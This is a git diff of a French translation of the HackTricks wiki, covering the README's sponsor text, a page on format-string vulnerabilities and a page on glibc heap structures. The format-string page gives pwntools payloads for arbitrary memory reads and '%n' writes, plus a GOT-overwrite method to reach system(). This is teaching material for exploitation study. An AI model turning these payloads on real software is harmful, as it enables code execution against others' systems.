Translated ['README.md', 'binary-exploitation/format-strings/README.md',
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 108 KiB |
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 63 KiB |
Before Width: | Height: | Size: 63 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 4.1 KiB |
Before Width: | Height: | Size: 4.1 KiB After Width: | Height: | Size: 131 KiB |
Before Width: | Height: | Size: 131 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 82 KiB |
Before Width: | Height: | Size: 82 KiB After Width: | Height: | Size: 107 KiB |
33
README.md
|
@ -2,13 +2,13 @@
|
|||
|
||||
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks logos & motion design par_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
_Les logos et le design animé de Hacktricks par_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
{% hint style="success" %}
|
||||
**Bienvenue dans le wiki où vous trouverez chaque astuce/technique de hacking/quoi que ce soit que j'ai appris des CTF, des applications de la vie réelle, en lisant des recherches et des nouvelles.**
|
||||
{% endhint %}
|
||||
|
||||
Pour commencer, suivez cette page où vous trouverez le **flux typique** que **vous devriez suivre lors du pentesting** d'une ou plusieurs **machines :**
|
||||
Pour commencer, suivez cette page où vous trouverez le **flux typique** que **vous devriez suivre lors d'un pentesting** d'une ou plusieurs **machines :**
|
||||
|
||||
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
|
||||
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
||||
|
@ -20,7 +20,7 @@ Pour commencer, suivez cette page où vous trouverez le **flux typique** que **v
|
|||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) est une excellente entreprise de cybersécurité dont le slogan est **HACK THE UNHACKABLE**. Ils effectuent leurs propres recherches et développent leurs propres outils de hacking pour **offrir plusieurs services de cybersécurité précieux** comme le pentesting, les équipes rouges et la formation.
|
||||
[**STM Cyber**](https://www.stmcyber.com) est une grande entreprise de cybersécurité dont le slogan est **HACK THE UNHACKABLE**. Ils effectuent leurs propres recherches et développent leurs propres outils de hacking pour **offrir plusieurs services de cybersécurité précieux** comme le pentesting, les équipes rouges et la formation.
|
||||
|
||||
Vous pouvez consulter leur **blog** à [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
|
||||
|
@ -65,7 +65,7 @@ Accédez dès aujourd'hui :
|
|||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (50).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
|
@ -77,19 +77,16 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
|||
|
||||
***
|
||||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - L'outil essentiel de test de pénétration
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - L'outil essentiel pour les tests de pénétration
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud**
|
||||
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos plus de 20 outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
{% endembed %}
|
||||
|
||||
***
|
||||
|
||||
### [SerpApi](https://serpapi.com/)
|
||||
|
@ -99,9 +96,9 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
|||
**SerpApi** propose des API rapides et faciles en temps réel pour **accéder aux résultats des moteurs de recherche**. Ils extraient des moteurs de recherche, gèrent des proxies, résolvent des captchas et analysent toutes les données structurées riches pour vous.
|
||||
|
||||
Un abonnement à l'un des plans de SerpApi inclut l'accès à plus de 50 API différentes pour extraire différents moteurs de recherche, y compris Google, Bing, Baidu, Yahoo, Yandex, et plus encore.\
|
||||
Contrairement à d'autres fournisseurs, **SerpApi ne se contente pas d'extraire des résultats organiques**. Les réponses de SerpApi incluent systématiquement toutes les annonces, images et vidéos en ligne, graphiques de connaissances et autres éléments et fonctionnalités présents dans les résultats de recherche.
|
||||
Contrairement à d'autres fournisseurs, **SerpApi ne se contente pas d'extraire des résultats organiques**. Les réponses de SerpApi incluent systématiquement toutes les annonces, images et vidéos en ligne, graphiques de connaissances, et d'autres éléments et fonctionnalités présents dans les résultats de recherche.
|
||||
|
||||
Les clients actuels de SerpApi incluent **Apple, Shopify et GrubHub**.\
|
||||
Les clients actuels de SerpApi incluent **Apple, Shopify, et GrubHub**.\
|
||||
Pour plus d'informations, consultez leur [**blog**](https://serpapi.com/blog/)**,** ou essayez un exemple dans leur [**playground**](https://serpapi.com/playground)**.**\
|
||||
Vous pouvez **créer un compte gratuit** [**ici**](https://serpapi.com/users/sign\_up)**.**
|
||||
|
||||
|
@ -115,9 +112,9 @@ Vous pouvez **créer un compte gratuit** [**ici**](https://serpapi.com/users/sig
|
|||
|
||||
WebSec est une **entreprise de sécurité tout-en-un**, ce qui signifie qu'ils font tout ; Pentesting, **Audits** de Sécurité, Formations de Sensibilisation, Campagnes de Phishing, Revue de Code, Développement d'Exploits, Externalisation d'Experts en Sécurité et bien plus encore.
|
||||
|
||||
Une autre chose intéressante à propos de WebSec est que, contrairement à la moyenne de l'industrie, WebSec est **très confiant dans ses compétences**, à tel point qu'ils **garantissent les meilleurs résultats de qualité**, il est indiqué sur leur site web "**Si nous ne pouvons pas le hacker, vous ne le payez pas !**". Pour plus d'infos, jetez un œil à leur [**site web**](https://websec.nl/en/) et [**blog**](https://websec.nl/blog/) !
|
||||
Une autre chose intéressante à propos de WebSec est qu'à la différence de la moyenne de l'industrie, WebSec est **très confiant dans ses compétences**, à tel point qu'ils **garantissent les meilleurs résultats de qualité**, il est indiqué sur leur site web "**Si nous ne pouvons pas le hacker, vous ne le payez pas !**". Pour plus d'infos, jetez un œil à leur [**site web**](https://websec.nl/en/) et [**blog**](https://websec.nl/blog/) !
|
||||
|
||||
En plus de ce qui précède, WebSec est également un **soutien engagé de HackTricks.**
|
||||
En plus de cela, WebSec est également un **soutien engagé de HackTricks.**
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
|
@ -131,11 +128,11 @@ Consultez-les dans :
|
|||
|
||||
## Statistiques Github
|
||||
|
||||
![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
|
||||
![Statistiques Github de HackTricks](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src=".gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src=".gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src=".gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src=".gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le Hacking AWS :<img src=".gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src=".gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src=".gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src=".gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -143,7 +140,7 @@ Apprenez et pratiquez le Hacking GCP : <img src=".gitbook/assets/grte.png" alt="
|
|||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux dépôts github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,25 +9,25 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_polonais courant écrit et parlé requis_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Basic Information
|
||||
|
||||
En C, **`printf`** est une fonction qui peut être utilisée pour **imprimer** une chaîne. Le **premier paramètre** que cette fonction attend est le **texte brut avec les formatteurs**. Les **paramètres suivants** attendus sont les **valeurs** à **substituer** aux **formatteurs** du texte brut.
|
||||
In C **`printf`** est une fonction qui peut être utilisée pour **imprimer** une chaîne. Le **premier paramètre** que cette fonction attend est le **texte brut avec les formatteurs**. Les **paramètres suivants** attendus sont les **valeurs** à **substituer** aux **formatteurs** du texte brut.
|
||||
|
||||
D'autres fonctions vulnérables sont **`sprintf()`** et **`fprintf()`**.
|
||||
|
||||
La vulnérabilité apparaît lorsqu'un **texte d'attaquant est utilisé comme premier argument** de cette fonction. L'attaquant pourra créer une **entrée spéciale abusant** des capacités de **format de printf** pour lire et **écrire des données à n'importe quelle adresse (lisible/écrivable)**. Cela lui permettant ainsi d'**exécuter du code arbitraire**.
|
||||
La vulnérabilité apparaît lorsque **du texte d'attaquant est utilisé comme premier argument** de cette fonction. L'attaquant pourra créer une **entrée spéciale abusant** des capacités de **format de printf** pour lire et **écrire des données à n'importe quelle adresse (lisible/écrivable)**. De cette manière, il sera capable d'**exécuter du code arbitraire**.
|
||||
|
||||
#### Formatters:
|
||||
```bash
|
||||
|
@ -87,7 +87,7 @@ et lire directement le quatrième.
|
|||
Remarquez que l'attaquant contrôle le paramètre `printf`, ce qui signifie essentiellement que son entrée sera dans la pile lorsque `printf` est appelé, ce qui signifie qu'il pourrait écrire des adresses mémoire spécifiques dans la pile.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Un attaquant contrôlant cette entrée pourra **ajouter une adresse arbitraire dans la pile et faire en sorte que `printf` y accède**. Dans la section suivante, il sera expliqué comment utiliser ce comportement.
|
||||
Un attaquant contrôlant cette entrée pourra **ajouter des adresses arbitraires dans la pile et faire en sorte que `printf` y accède**. Dans la section suivante, il sera expliqué comment utiliser ce comportement.
|
||||
{% endhint %}
|
||||
|
||||
## **Lecture Arbitraire**
|
||||
|
@ -106,7 +106,7 @@ p.sendline(payload)
|
|||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Notez que vous ne pouvez pas mettre l'adresse 0x8048000 au début de l'entrée car la chaîne sera coupée à 0x00 à la fin de cette adresse.
|
||||
Notez que vous ne pouvez pas mettre l'adresse 0x8048000 au début de l'entrée car la chaîne sera coupée en 0x00 à la fin de cette adresse.
|
||||
{% endhint %}
|
||||
|
||||
### Trouver l'offset
|
||||
|
@ -151,13 +151,13 @@ p.close()
|
|||
Les lectures arbitraires peuvent être utiles pour :
|
||||
|
||||
* **Dump** le **binaire** de la mémoire
|
||||
* **Accéder à des parties spécifiques de la mémoire où des informations sensibles** **sont stockées** (comme des canaris, des clés de chiffrement ou des mots de passe personnalisés comme dans ce [**défi CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
* **Accéder à des parties spécifiques de la mémoire où des infos sensibles** **sont stockées** (comme des canaris, des clés de chiffrement ou des mots de passe personnalisés comme dans ce [**défi CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
|
||||
## **Écriture Arbitraire**
|
||||
|
||||
Le formatteur **`%<num>$n`** **écrit** le **nombre d'octets écrits** à l'**adresse indiquée** dans le paramètre \<num> dans la pile. Si un attaquant peut écrire autant de caractères qu'il le souhaite avec printf, il sera capable de faire en sorte que **`%<num>$n`** écrive un nombre arbitraire à une adresse arbitraire.
|
||||
Le formatteur **`%<num>$n`** **écrit** le **nombre de bytes écrits** à l'**adresse indiquée** dans le paramètre \<num> dans la pile. Si un attaquant peut écrire autant de caractères qu'il le souhaite avec printf, il sera capable de faire en sorte que **`%<num>$n`** écrive un nombre arbitraire à une adresse arbitraire.
|
||||
|
||||
Heureusement, pour écrire le nombre 9999, il n'est pas nécessaire d'ajouter 9999 "A" à l'entrée, pour ce faire, il est possible d'utiliser le formatteur **`%.<num-write>%<num>$n`** pour écrire le nombre **`<num-write>`** à l'**adresse pointée par la position `num`**.
|
||||
Heureusement, pour écrire le nombre 9999, il n'est pas nécessaire d'ajouter 9999 "A"s à l'entrée, pour ce faire, il est possible d'utiliser le formatteur **`%.<num-write>%<num>$n`** pour écrire le nombre **`<num-write>`** à l'**adresse pointée par la position `num`**.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
|
@ -166,7 +166,7 @@ Cependant, notez qu'en général, pour écrire une adresse telle que `0x08049724
|
|||
|
||||
Par conséquent, cette vulnérabilité permet de **tout écrire à n'importe quelle adresse (écriture arbitraire).**
|
||||
|
||||
Dans cet exemple, l'objectif sera de **surcharger** l'**adresse** d'une **fonction** dans la table **GOT** qui sera appelée plus tard. Bien que cela puisse abuser d'autres techniques d'écriture arbitraire à exécuter :
|
||||
Dans cet exemple, l'objectif sera de **surcharger** l'**adresse** d'une **fonction** dans la table **GOT** qui sera appelée plus tard. Bien que cela puisse abuser d'autres techniques d'écriture arbitraire vers exec :
|
||||
|
||||
{% content-ref url="../arbitrary-write-2-exec/" %}
|
||||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||||
|
@ -231,13 +231,13 @@ Il est possible d'abuser des actions d'écriture d'une vulnérabilité de chaîn
|
|||
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
|
||||
* 32 bits, pas de relro, pas de canary, nx, pas de pie, utilisation de base des chaînes de format pour leak le flag de la pile (pas besoin de modifier le flux d'exécution)
|
||||
* 32 bits, pas de relro, pas de canary, nx, pas de pie, utilisation de base des chaînes de format pour divulguer le drapeau de la pile (pas besoin de modifier le flux d'exécution)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||
* 32 bits, relro, pas de canary, nx, pas de pie, chaîne de format pour écraser l'adresse `fflush` avec la fonction win (ret2win)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||||
* 32 bits, relro, pas de canary, nx, pas de pie, chaîne de format pour écrire une adresse à l'intérieur de main dans `.fini_array` (afin que le flux boucle encore une fois) et écrire l'adresse vers `system` dans la table GOT pointant vers `strlen`. Lorsque le flux revient à main, `strlen` est exécuté avec l'entrée utilisateur et pointant vers `system`, il exécutera les commandes passées.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
Le tas est essentiellement l'endroit où un programme peut stocker des données lorsqu'il demande des données en appelant des fonctions comme **`malloc`**, `calloc`... De plus, lorsque cette mémoire n'est plus nécessaire, elle est rendue disponible en appelant la fonction **`free`**.
|
||||
|
||||
Comme il est montré, c'est juste après où le binaire est chargé en mémoire (vérifiez la section `[heap]`):
|
||||
Comme il est montré, c'est juste après que le binaire est chargé en mémoire (vérifiez la section `[heap]`):
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1241).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -15,7 +15,7 @@ Lorsque des données sont demandées pour être stockées dans le tas, un certai
|
|||
Il existe différentes manières de réserver l'espace, principalement en fonction du bin utilisé, mais une méthodologie générale est la suivante :
|
||||
|
||||
* Le programme commence par demander une certaine quantité de mémoire.
|
||||
* Si dans la liste des chunks, il y a un disponible suffisamment grand pour satisfaire la demande, il sera utilisé.
|
||||
* Si dans la liste des chunks, il y a quelqu'un disponible assez grand pour satisfaire la demande, il sera utilisé.
|
||||
* Cela peut même signifier qu'une partie du chunk disponible sera utilisée pour cette demande et le reste sera ajouté à la liste des chunks.
|
||||
* S'il n'y a pas de chunk disponible dans la liste mais qu'il y a encore de l'espace dans la mémoire du tas allouée, le gestionnaire de tas crée un nouveau chunk.
|
||||
* S'il n'y a pas assez d'espace dans le tas pour allouer le nouveau chunk, le gestionnaire de tas demande au noyau d'augmenter la mémoire allouée au tas et utilise ensuite cette mémoire pour générer le nouveau chunk.
|
||||
|
@ -29,24 +29,24 @@ Dans les applications **multithreadées**, le gestionnaire de tas doit prévenir
|
|||
|
||||
Pour y remédier, l'allocateur de tas ptmalloc2 a introduit des "arènes", où **chaque arène** agit comme un **tas séparé** avec ses **propres** structures de **données** et **mutex**, permettant à plusieurs threads d'effectuer des opérations sur le tas sans interférer les uns avec les autres, tant qu'ils utilisent des arènes différentes.
|
||||
|
||||
L'arène "principale" par défaut gère les opérations de tas pour les applications à thread unique. Lorsque des **nouveaux threads** sont ajoutés, le gestionnaire de tas leur attribue des **arènes secondaires** pour réduire la contention. Il tente d'abord d'attacher chaque nouveau thread à une arène inutilisée, en en créant de nouvelles si nécessaire, jusqu'à une limite de 2 fois le nombre de cœurs CPU pour les systèmes 32 bits et 8 fois pour les systèmes 64 bits. Une fois la limite atteinte, **les threads doivent partager les arènes**, ce qui peut entraîner une contention potentielle.
|
||||
L'arène "principale" par défaut gère les opérations de tas pour les applications à thread unique. Lorsque des **nouveaux threads** sont ajoutés, le gestionnaire de tas leur attribue des **arènes secondaires** pour réduire la contention. Il tente d'abord d'attacher chaque nouveau thread à une arène inutilisée, en en créant de nouvelles si nécessaire, jusqu'à une limite de 2 fois le nombre de cœurs CPU pour les systèmes 32 bits et 8 fois pour les systèmes 64 bits. Une fois la limite atteinte, **les threads doivent partager des arènes**, ce qui peut entraîner une contention potentielle.
|
||||
|
||||
Contrairement à l'arène principale, qui s'étend en utilisant l'appel système `brk`, les arènes secondaires créent des "sous-tas" en utilisant `mmap` et `mprotect` pour simuler le comportement du tas, permettant une flexibilité dans la gestion de la mémoire pour les opérations multithreadées.
|
||||
Contrairement à l'arène principale, qui s'agrandit en utilisant l'appel système `brk`, les arènes secondaires créent des "sous-tas" en utilisant `mmap` et `mprotect` pour simuler le comportement du tas, permettant une flexibilité dans la gestion de la mémoire pour les opérations multithreadées.
|
||||
|
||||
### Subheaps
|
||||
|
||||
Les sous-tas servent de réserves de mémoire pour les arènes secondaires dans les applications multithreadées, leur permettant de croître et de gérer leurs propres régions de tas séparément du tas principal. Voici comment les sous-tas diffèrent du tas initial et comment ils fonctionnent :
|
||||
|
||||
1. **Tas initial vs. Sous-tas** :
|
||||
* Le tas initial est situé directement après le binaire du programme en mémoire, et il s'étend en utilisant l'appel système `sbrk`.
|
||||
* Le tas initial est situé directement après le binaire du programme en mémoire, et il s'agrandit en utilisant l'appel système `sbrk`.
|
||||
* Les sous-tas, utilisés par les arènes secondaires, sont créés par `mmap`, un appel système qui mappe une région de mémoire spécifiée.
|
||||
2. **Réservation de mémoire avec `mmap`** :
|
||||
* Lorsque le gestionnaire de tas crée un sous-tas, il réserve un grand bloc de mémoire via `mmap`. Cette réservation n'alloue pas immédiatement de mémoire ; elle désigne simplement une région que d'autres processus système ou allocations ne devraient pas utiliser.
|
||||
* Par défaut, la taille réservée pour un sous-tas est de 1 Mo pour les processus 32 bits et 64 Mo pour les processus 64 bits.
|
||||
* Par défaut, la taille réservée pour un sous-tas est de 1 Mo pour les processus 32 bits et de 64 Mo pour les processus 64 bits.
|
||||
3. **Expansion progressive avec `mprotect`** :
|
||||
* La région de mémoire réservée est initialement marquée comme `PROT_NONE`, indiquant que le noyau n'a pas besoin d'allouer de mémoire physique à cet espace pour l'instant.
|
||||
* Pour "faire croître" le sous-tas, le gestionnaire de tas utilise `mprotect` pour changer les permissions de page de `PROT_NONE` à `PROT_READ | PROT_WRITE`, incitant le noyau à allouer de la mémoire physique aux adresses précédemment réservées. Cette approche étape par étape permet au sous-tas de s'étendre au besoin.
|
||||
* Une fois que l'ensemble du sous-tas est épuisé, le gestionnaire de tas crée un nouveau sous-tas pour continuer l'allocation.
|
||||
* La région de mémoire réservée est initialement marquée comme `PROT_NONE`, indiquant que le noyau n'a pas besoin d'allouer de mémoire physique à cet espace pour le moment.
|
||||
* Pour "faire croître" le sous-tas, le gestionnaire de tas utilise `mprotect` pour changer les permissions de page de `PROT_NONE` à `PROT_READ | PROT_WRITE`, incitant le noyau à allouer de la mémoire physique aux adresses précédemment réservées. Cette approche progressive permet au sous-tas de s'étendre au besoin.
|
||||
* Une fois que tout le sous-tas est épuisé, le gestionnaire de tas crée un nouveau sous-tas pour continuer l'allocation.
|
||||
|
||||
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
||||
|
@ -72,7 +72,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
|||
|
||||
**Chaque tas** (arène principale ou autres arènes de threads) a une **structure `malloc_state`.**\
|
||||
Il est important de noter que la **structure `malloc_state` de l'arène principale** est une **variable globale dans la libc** (donc située dans l'espace mémoire de la libc).\
|
||||
Dans le cas des **structures `malloc_state`** des tas de threads, elles sont situées **dans le "tas" propre au thread**.
|
||||
Dans le cas des **structures `malloc_state`** des tas de threads, elles sont situées **à l'intérieur du "tas" de leur propre thread**.
|
||||
|
||||
Il y a des choses intéressantes à noter à partir de cette structure (voir le code C ci-dessous) :
|
||||
|
||||
|
@ -86,11 +86,11 @@ Il y a des choses intéressantes à noter à partir de cette structure (voir le
|
|||
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
|
||||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||
```
|
||||
* Le `mchunkptr bins[NBINS * 2 - 2];` contient des **pointeurs** vers les **premiers et derniers chunks** des petits, grands et non triés **bins** (le -2 est dû au fait que l'index 0 n'est pas utilisé)
|
||||
* Le `mchunkptr bins[NBINS * 2 - 2];` contient **des pointeurs** vers les **premiers et derniers chunks** des **bins** petits, grands et non triés (le -2 est dû au fait que l'index 0 n'est pas utilisé)
|
||||
* Par conséquent, le **premier chunk** de ces bins aura un **pointeur arrière vers cette structure** et le **dernier chunk** de ces bins aura un **pointeur avant** vers cette structure. Ce qui signifie essentiellement que si vous pouvez l**eak ces adresses dans l'arène principale**, vous aurez un pointeur vers la structure dans la **libc**.
|
||||
* Les structs `struct malloc_state *next;` et `struct malloc_state *next_free;` sont des listes chaînées d'arènes
|
||||
* Le chunk `top` est le dernier "chunk", qui est essentiellement **tout l'espace restant du tas**. Une fois que le chunk supérieur est "vide", le tas est complètement utilisé et il doit demander plus d'espace.
|
||||
* Le chunk `last reminder` provient des cas où un chunk de taille exacte n'est pas disponible et donc un chunk plus grand est divisé, un pointeur de la partie restante est placé ici.
|
||||
* Le chunk `last reminder` provient de cas où un chunk de taille exacte n'est pas disponible et donc un chunk plus grand est divisé, un pointeur de la partie restante est placé ici.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||
|
||||
|
@ -172,12 +172,12 @@ De plus, lorsque disponible, les données utilisateur sont également utilisées
|
|||
* **`fd`** : Pointeur vers le morceau suivant
|
||||
* **`bk`** : Pointeur vers le morceau précédent
|
||||
* **`fd_nextsize`** : Pointeur vers le premier morceau dans la liste qui est plus petit que lui-même
|
||||
* **`bk_nextsize` :** Pointeur vers le premier morceau dans la liste qui est plus grand que lui-même
|
||||
* **`bk_nextsize` :** Pointeur vers le premier morceau de la liste qui est plus grand que lui-même
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
Notez comment lier la liste de cette manière empêche la nécessité d'avoir un tableau où chaque morceau est enregistré.
|
||||
Notez comment lier la liste de cette manière évite la nécessité d'avoir un tableau où chaque morceau est enregistré.
|
||||
{% endhint %}
|
||||
|
||||
### Pointeurs de morceaux
|
||||
|
@ -395,7 +395,7 @@ return ptr;
|
|||
|
||||
### Exemple de tas rapide
|
||||
|
||||
Exemple de tas rapide provenant de [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) mais en arm64 :
|
||||
Exemple de tas rapide de [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) mais en arm64 :
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
@ -408,7 +408,7 @@ ptr = malloc(0x10);
|
|||
strcpy(ptr, "panda");
|
